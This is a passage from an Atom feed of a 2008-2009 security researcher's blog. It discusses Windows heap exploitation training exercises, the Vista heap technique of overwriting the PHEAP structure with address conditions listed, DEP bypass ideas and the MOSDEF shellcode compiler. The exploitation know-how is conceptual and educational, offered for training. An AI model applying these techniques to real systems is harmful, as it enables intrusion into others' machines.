320px; height: 187px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SZIEKbv6SjI/AAAAAAAAEuw/upoy1Taf8Oc/s320/screenshot_3rd_day.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5301304288662407730" /&gt;&lt;/a&gt;&lt;br /&gt;Dear Diary,&lt;br /&gt;  &lt;a href="http://www.cyberdefense.jp/service_seminar/seminar07.html"&gt;Tokyo's Trainning&lt;/a&gt; is next week, and I just finished writing the last exercise for day 3. If you did it correctly, your Visualsploit would look like figure above. &lt;br /&gt;  The exercise is for Windows 2003, and the objective is to exploit the heap overwriting a Lookaside pointer. The options were, I made my own server or the students have to install Citrix 4.5 to own Brett Moore bug ;)&lt;br /&gt;  After the lookaside trick, it will be pulling a HEAP to Stack trick, and finishing with a ret2libc to disable DEP protection.&lt;br /&gt;  Learning how to exploit the heap correctly is like learning programming, once you learn how to code in C you can do it on everything else.&lt;br /&gt;  The C of heap learning is Windows 2000 Exploitation. Once you master the way to control the heap, predict how it's gonna look and diagnose a crash without looking at code, you are ready for everything else (And that's pretty much include other SO heaps). &lt;br /&gt;  That's the real extra value of this class, and that is why the first day of class is so hard.&lt;br /&gt;&lt;br /&gt;  In other news, someone wrote a paper on format string using Immunity Debugger &lt;a href="http://milw0rm.com/papers/282"&gt;http://milw0rm.com/papers/282&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Nico&lt;br /&gt;PS: Tomorrow I have tickets for Peter Murphy for the first time in Buenos Aires. I'm so getting a Bauhaus tshirt.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3801988476811558383?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3801988476811558383/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3801988476811558383' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3801988476811558383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3801988476811558383'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/02/if-you-are-doing-your-homework.html' title='If you are doing your homework correctly, you will get... (II)'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SZIEKbv6SjI/AAAAAAAAEuw/upoy1Taf8Oc/s72-c/screenshot_3rd_day.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6737708958753080406</id><published>2009-02-05T06:42:00.000-08:00</published><updated>2009-02-05T07:46:55.496-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mosdef'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='compiler'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>MOSDEF 2.0 is out!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SYr7EW8yrKI/AAAAAAAAEuQ/EmBdcq4Cjoc/s1600-h/2498888608_17d590ffd7_o.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 213px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SYr7EW8yrKI/AAAAAAAAEuQ/EmBdcq4Cjoc/s320/2498888608_17d590ffd7_o.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5299323963853417634" /&gt;&lt;/a&gt;&lt;br /&gt;Dear Diary,&lt;br /&gt;  MOSDEF 2.0 is out, let's the hype begging... &lt;br /&gt;  Wait...&lt;br /&gt;  Were is all the cheering? &lt;br /&gt;  Do we need to coordinate with a lot of vendors to make it cool?&lt;br /&gt;  Ah, or probably announce it secretly teasing everyone of something that it doesn't do?&lt;br /&gt;&lt;br /&gt;  The interweb had change quite a lot lately...&lt;br /&gt;  &lt;br /&gt;  Anyways, MOSDEF v2.0 a LGPL C-like compiler written in python is out. And it's incredible fast.&lt;br /&gt;  Why you will be using it? Because if fun, because it's simple to use and practical.&lt;br /&gt;  Other than using the usual compiler capabilities, you can use MOSDEF inside your exploit for shellcode. Rather than the usual stolen string shellcode, you can now write your own by do doing:&lt;br /&gt;   from MOSDEF import mosdef   &lt;br /&gt;   mosdef.assemble("jmp %ebx", "X86") # or "PPC"&lt;br /&gt; &lt;br /&gt;   Simple and useful. But this is like the most simple thing you can do with it, there is a huge world of things you can no do.&lt;br /&gt;   I would love to see people start doing their own packers/polymorphic shellcode over MOSDEF.&lt;br /&gt;   &lt;br /&gt;   The compiler chain works this way (stolen from rich's pdf):&lt;br /&gt;   cc.py -&gt; cpp.py -&gt; cparse2.py -&gt; il2X86.py -&gt; x86parse.py -&gt; makeexe.py&lt;br /&gt;&lt;br /&gt;   If you want to see the mechanic of the compiler, you probably want to take a look at the first three files, but what we really gonna care for any cool new tool is the last 3 files:&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt;il2X86.py &lt;/span&gt;takes a really simple to understand Intermediate Language, and transform it into assembly. Let's see some examples:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    &lt;br /&gt;    def _loadint(self, words):&lt;br /&gt;        return ["movl $%d,%%eax\n" % long(words[1],0)]&lt;br /&gt;&lt;br /&gt;    def _call(self, words):&lt;br /&gt;        return ["call %s\n"%words[1]]&lt;br /&gt;&lt;br /&gt;    def _subconst(self, words):&lt;br /&gt;        return ["subl $%d,%%eax\n"%int(words[1])]&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;    &lt;br /&gt;    It will be really simple, based on the IL to transform the IL into a virtual machine packer. &lt;br /&gt;&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;x86parser.py&lt;/span&gt; It's the file in charge of transforming the output assembly into opcode.&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;makeexe.py&lt;/span&gt; This file is in charge of creating, based on the created shellcode a binary with the corresponding fileformat. If you are talking Windows (which is not released on 2.0, canvas client's only for now), you can probably create one of the smallest PE a compiler can gave you (And forget about IAT or any Import.). And this step you can easily create your own ELF, including whatever tweak you might wanna add.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Hopefully soon I will made a bigger post with much more details. For a good read, get &lt;a href="http://www.immunityinc.com/downloads/MOSDEF2.0.pdf"&gt;Rich's paper&lt;/a&gt;. Or directly download &lt;a href="http://www.immunityinc.com/downloads/MOSDEF2dot0.tar.gz"&gt;MOSDEF 2.0 sources&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Nico&lt;br /&gt;PS: Since we released MOSDEF 2.0, we are preparing a one-two day trainning on Windows 32 Shellcode writing. If you are interested, ping me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6737708958753080406?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6737708958753080406/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6737708958753080406' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6737708958753080406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6737708958753080406'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/02/mosdef-20-is-out-get-your-copy-at-your.html' title='MOSDEF 2.0 is out!'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SYr7EW8yrKI/AAAAAAAAEuQ/EmBdcq4Cjoc/s72-c/2498888608_17d590ffd7_o.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6941272869074979604</id><published>2009-01-30T09:58:00.000-08:00</published><updated>2009-01-30T10:19:04.732-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='visualsploit'/><title type='text'>Hacking mainstream</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/SYNEaafCh0I/AAAAAAAAEuI/T-NK4QtZ2pw/s1600-h/VisualSploit.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 295px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/SYNEaafCh0I/AAAAAAAAEuI/T-NK4QtZ2pw/s320/VisualSploit.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5297152807294633794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dear diary,&lt;br /&gt;   Back in the time, when I was a still doing linux exploits and thought that real man infoleak/bruteforce themselves to shellcode, that client-side where for pony tails nymphets and denial of service on hoolios where for lonely guys that drinks fruit daikiris, Dave came to me with a new project that he wants me to manage: Visualsploit&lt;br /&gt;   At first though "I prefer to write advisory for Antivirus vulnerabilities" rather than working on a Visual Language for exploits, who in the world would ever use that?. &lt;br /&gt;   And as it happen with smart people vision, time gave you always the response to that. We hired  Damian Gomez full time to work on the project, I helped a little bit with  the core but most of them it was just Dami, all the nice icons and the cool features.&lt;br /&gt;   Visualsploit was never focus on selling it, as i though, but rather as a swiss knife for Trainnings. The visual language gives -great- advantage of avoiding dealing with programming at all on a class, obviously, we encourage people to modify the scripts and learn the python, but for classes such as Basic Stack Overflow or even Heap overflow, whats the need of forcing someone to learn python? In the end, is as we always said... Exploiting is nothing more than smart debugging.&lt;br /&gt;   Today I spent an hour adding two modules that communicate with my exercise server, one for allocating memory and the other one for overwriting information. Because, if you have 4 days to explain how to exploit Windows 2000, XP-2003 and Vista, you certainly don't want to make your students spent time debugging the protocol.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Nico &lt;br /&gt;PS: Yes, the icons for Allocate/Overwrite were also made by dami!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6941272869074979604?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6941272869074979604/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6941272869074979604' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6941272869074979604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6941272869074979604'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/01/hacking-mainstream.html' title='Hacking mainstream'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_aUReV5sSeqk/SYNEaafCh0I/AAAAAAAAEuI/T-NK4QtZ2pw/s72-c/VisualSploit.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2398830691810648577</id><published>2009-01-19T11:17:00.000-08:00</published><updated>2009-01-19T11:23:29.458-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blockindex'/><category scheme='http://www.blogger.com/atom/ns#' term='bypassing'/><category scheme='http://www.blogger.com/atom/ns#' term='pheap'/><category scheme='http://www.blogger.com/atom/ns#' term='vista heap'/><category scheme='http://www.blogger.com/atom/ns#' term='ben hawkes'/><category scheme='http://www.blogger.com/atom/ns#' term='ucrentry'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking Vista Heap: The Ben Hawkes technique part II</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SXTSXRvgFrI/AAAAAAAAEt4/LEb5d5uC01g/s1600-h/bee_on_polen.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 213px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SXTSXRvgFrI/AAAAAAAAEt4/LEb5d5uC01g/s320/bee_on_polen.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5293086759408637618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Even though I walk through the valley of the shadow of death, I will fear no evil..."&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the blog entry "&lt;a href="http://eticanicomana.blogspot.com/2008/12/if-you-are-doing-your-homework.html"&gt;If you are doing your homework correctly...&lt;/a&gt;"  i showed a little bit how you can modify the LSB of a heap pointer and after freeing it, you can get the heap address on a RtlAllocateHeap call. This is part of Ben Hawkes presentation at RUXCON.&lt;br /&gt;&lt;br /&gt;The second step was to construct the overwritting buffer for the Global Heap structure that will allow you to trigger the RtlCommitRutine (which is a function pointer that it triggers when the heap wants to be extended).&lt;br /&gt;To created, you need two hardcoded address (or heap-spray based, or other lovely trick based as sotirov-downd .NET dll load), for the "BlockIndex" and the "UCREntry" else you will suffer for all kind of reading/writing crash in ntdll.dll.&lt;br /&gt;&lt;br /&gt;Now, i might be wrong with this statement but on the code flow i follow, the first hardcode address need to fullfilth much more requirements than the one announced by the good old Ben.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;BlockIndex&lt;/span&gt;&lt;br /&gt;  There are a couple of ways to allocate on the Vista Heap, which depends on the heap usage (f.e.: The activation of the Low Fragmentation Heap on a given size), argument passed, etc. In our case, to extend it we are gonna allocate without using a Bucket which is the common behaviour.&lt;br /&gt;  The BlockIndex is a structure which is saved at [PHEAP+0xB8] and is the first hardcode address we need to craft.&lt;br /&gt;&lt;br /&gt;  This structure has a single-list which connect other BlockIndex, so our address should have the first Dword as 0x0&lt;br /&gt;&lt;blockquote&gt;  *( Blocks + 0) ==  0x0&lt;/blockquote&gt;  &lt;br /&gt;  The next dangerous point in code, is when the Block use the FreeListPointer to get a double linked list of chunks out of it.&lt;br /&gt; &lt;blockquote&gt; *( Blocks + 0x18 ) == FLP    (FLP needs to be a existing readable addresss)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;  FLP as I said before, is a double linked list, so the algorythm will take the Backward Link to grab the first chunk out of it.&lt;br /&gt;&lt;br /&gt;  &lt;blockquote&gt;*(FLP + 4) === CHUNK   (CHUNK needs to be readable)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;  And later, it will take the CHUNK and check the first dword of it and compare it against PHEAP-EncodeFlagMask&lt;br /&gt;  &lt;blockquote&gt;*(CHUNK - 8 ) == CONSTANT (if it's zero, its better).&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;  And that it! (he he).&lt;br /&gt;  Yes, it doesn't pass the strawberry pudding rule, but as hard as it looks, it's not -that- hard to find address that fullfilth all those requirements. The 2nd hardcode address (UCREntry) requirements are well explained on Ben Hawkes presentation.&lt;br /&gt;  I wrote a simple but useful script that try to find addresses that accomplish all those requirements, and believe it or not, there a lot of them. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_aUReV5sSeqk/SXTShH60dAI/AAAAAAAAEuA/t1abqpk7qVI/s1600-h/benhawkes_screenshow.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 174px;" src="http://3.bp.blogspot.com/_aUReV5sSeqk/SXTShH60dAI/AAAAAAAAEuA/t1abqpk7qVI/s320/benhawkes_screenshow.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293086928570446850" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  The question now is: &lt;span style="font-weight:bold;"&gt;Can we really find one not affected by ASLR?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Peace,&lt;br /&gt;Nico&lt;br /&gt;  &lt;br /&gt;PS: I don't want to spoil the scoop for the Japanese students on the Heap class, so I will release the script after class ;). (Anyways, you can do it yourself, it's just a couple of readLong).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2398830691810648577?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2398830691810648577/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2398830691810648577' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2398830691810648577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2398830691810648577'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/01/hacking-vista-heap-ben-hawkes-technique.html' title='Hacking Vista Heap: The Ben Hawkes technique part II'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SXTSXRvgFrI/AAAAAAAAEt4/LEb5d5uC01g/s72-c/bee_on_polen.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8833427376001429713</id><published>2008-12-31T08:03:00.000-08:00</published><updated>2008-12-31T08:14:13.619-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='the great bas alberts'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><title type='text'>God bless the interweb</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_aUReV5sSeqk/SVuYxw0CeQI/AAAAAAAAEr4/Byo5TYJWImg/s1600-h/deadbug3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://3.bp.blogspot.com/_aUReV5sSeqk/SVuYxw0CeQI/AAAAAAAAEr4/Byo5TYJWImg/s320/deadbug3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5285986568333588738" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you thought that the hype was all over... after the DNS and the CA affaire.&lt;br /&gt;If you thought that the fun was all over... after Microsoft patch MS08-067.&lt;br /&gt;&lt;br /&gt;You were wrong&lt;br /&gt;&lt;br /&gt;The "Great" Bas Alberts is back on blogging: &lt;a href="http://basonbugs.blogspot.com/"&gt;Bas on Bugs&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Happy new year.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8833427376001429713?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8833427376001429713/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8833427376001429713' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8833427376001429713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8833427376001429713'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/12/god-bless-interweb.html' title='God bless the interweb'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_aUReV5sSeqk/SVuYxw0CeQI/AAAAAAAAEr4/Byo5TYJWImg/s72-c/deadbug3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-5712726095800414730</id><published>2008-12-22T13:46:00.000-08:00</published><updated>2008-12-22T13:52:58.757-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='md_update'/><category scheme='http://www.blogger.com/atom/ns#' term='luciano bello'/><category scheme='http://www.blogger.com/atom/ns#' term='credential reflection attack'/><category scheme='http://www.blogger.com/atom/ns#' term='canvas'/><title type='text'>In my free time...</title><content type='html'>I torture &lt;a href="http://www.lucianobello.com.ar"&gt;Luciano Bello&lt;/a&gt; by sms him with "// MD_Update". That's the most popular Argentinian hobby after Soccer.&lt;br /&gt;&lt;br /&gt;In other news, a cool post of Bas on&lt;a href="http://forum.immunityinc.com/index.php?topic=277.0"&gt; credential reflection attack with CANVAS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Peace&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-5712726095800414730?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/5712726095800414730/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=5712726095800414730' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5712726095800414730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5712726095800414730'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/12/in-my-free-time.html' title='In my free time...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3155611314809254384</id><published>2008-12-18T05:17:00.001-08:00</published><updated>2008-12-18T05:25:48.921-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vista'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity debugger'/><category scheme='http://www.blogger.com/atom/ns#' term='ben hawkes'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>If you are doing your homework correctly, you will get...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/SUpNoFvYvLI/AAAAAAAAEqI/oIIn4NcRSnw/s1600-h/classexercise.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/SUpNoFvYvLI/AAAAAAAAEqI/oIIn4NcRSnw/s320/classexercise.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5281118864176364722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's &lt;a href="http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf"&gt;Ben Hawkes&lt;/a&gt; technique working on Vista for me. The chunk you see at the FreeList entry 127 is nothing more that the heap itself.&lt;br /&gt;&lt;br /&gt;Guess what will happen next when i request the global heap's size ? I'll let that answer and the whole exercise for students in February.&lt;br /&gt;&lt;br /&gt;I wonder what debugger Ben Hawkes use?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3155611314809254384?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3155611314809254384/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3155611314809254384' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3155611314809254384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3155611314809254384'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/12/if-you-are-doing-your-homework.html' title='If you are doing your homework correctly, you will get...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_aUReV5sSeqk/SUpNoFvYvLI/AAAAAAAAEqI/oIIn4NcRSnw/s72-c/classexercise.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-5217457028093422990</id><published>2008-12-08T15:01:00.000-08:00</published><updated>2008-12-18T16:07:54.951-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tokyo'/><category scheme='http://www.blogger.com/atom/ns#' term='vista'/><category scheme='http://www.blogger.com/atom/ns#' term='ben hawkes'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>Things to do in Japan, if you want to exploit the heap</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm1.static.flickr.com/18/23407217_a563c3780c.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 500px; height: 374px;" src="http://farm1.static.flickr.com/18/23407217_a563c3780c.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dear diary,&lt;br /&gt;   Sorry I have been sucking at blogging, but the true is I didn't do anything interesting these days, technically, at least. Unless, of course, you are part of some extinguished cult that worship django.&lt;br /&gt;&lt;br /&gt;   Anyway, since last friday I started updating my slides for the training I'm giving with the people of &lt;a href="http://cyberdefense.jp/service_seminar/seminar07.html"&gt;cyberdefense&lt;/a&gt; about &lt;a href="http://www.immunityinc.com/education-currentschedule.shtml"&gt;heap exploitation&lt;/a&gt; in Tokyo, (which I must said that if you are interesting you should rush to reserve your ticket since it's getting full quite quick).&lt;br /&gt;   I update the information about windows 2003/XP SP2 exploitation, including theory and a bunch of exercise (Students will end up exploiting Brett Moore's Citrix Metaframe bug).&lt;br /&gt;   I'm also updating the Vista part, which was always the critical part of the class, since i gave it the last day and people were really tired by them ( And it was a lot of information of all the changes in the new implementation and ideas about how to exploit it).&lt;br /&gt;   And by doing some research i step into &lt;a href="http://www.ruxcon.org.au/2008-archive.shtml"&gt;Ben Hawkes "Attacking the Vista Heap"&lt;/a&gt; for the RUXCON Conference. &lt;br /&gt;   When I think about heap exploitation, or even, generic exploitation at all, I can't stop thinking in a remote level, its probably my weakness but also my strengths. And is obviously a consequence of background education on linux explotation when I was a kid.&lt;br /&gt;   Did I ever told you, dear diary, that i did linux exploitation like all good boy scouts? Same as Bas, same as Sinan... and i spent 8 good months doing that for CANVAS until dave said "Windows time", and we all have to switch :&gt;.&lt;br /&gt;   So when I heard about Ben Hawkes technique about writing the global heap structure (PHEAP from now on), I though it was good idea (i even though about it before reading it) but I didn't see a real usage on an remote, possible but not that simple to implement. (On remote heap exploitation, you should always follow sinan's law: If the technique have more steps than the strawberry pudding's receipt, its doesn't worth it). &lt;br /&gt;    But BANG! I read Ben Hawkes slides. And that was a jaw breaker!&lt;br /&gt;    Why? Because he follow the clicke phrase of Einstein "&lt;span style="font-style:italic;"&gt;Everything should be made as simple as possible, but not simpler.&lt;/span&gt;".&lt;br /&gt;    Basically he ask himself: What would you do if you can write a pointer to a heap chunk with whatever you want? And he answer it quite simple, I point it to a different busy chunk.&lt;br /&gt;    And the math is simple, if you point the chunk's pointer to a a different busy chunk, when the chunk get's free, it will be available on the system. And so next allocation of the same size, it will return the chunk that it wasn't supposed to be free. And 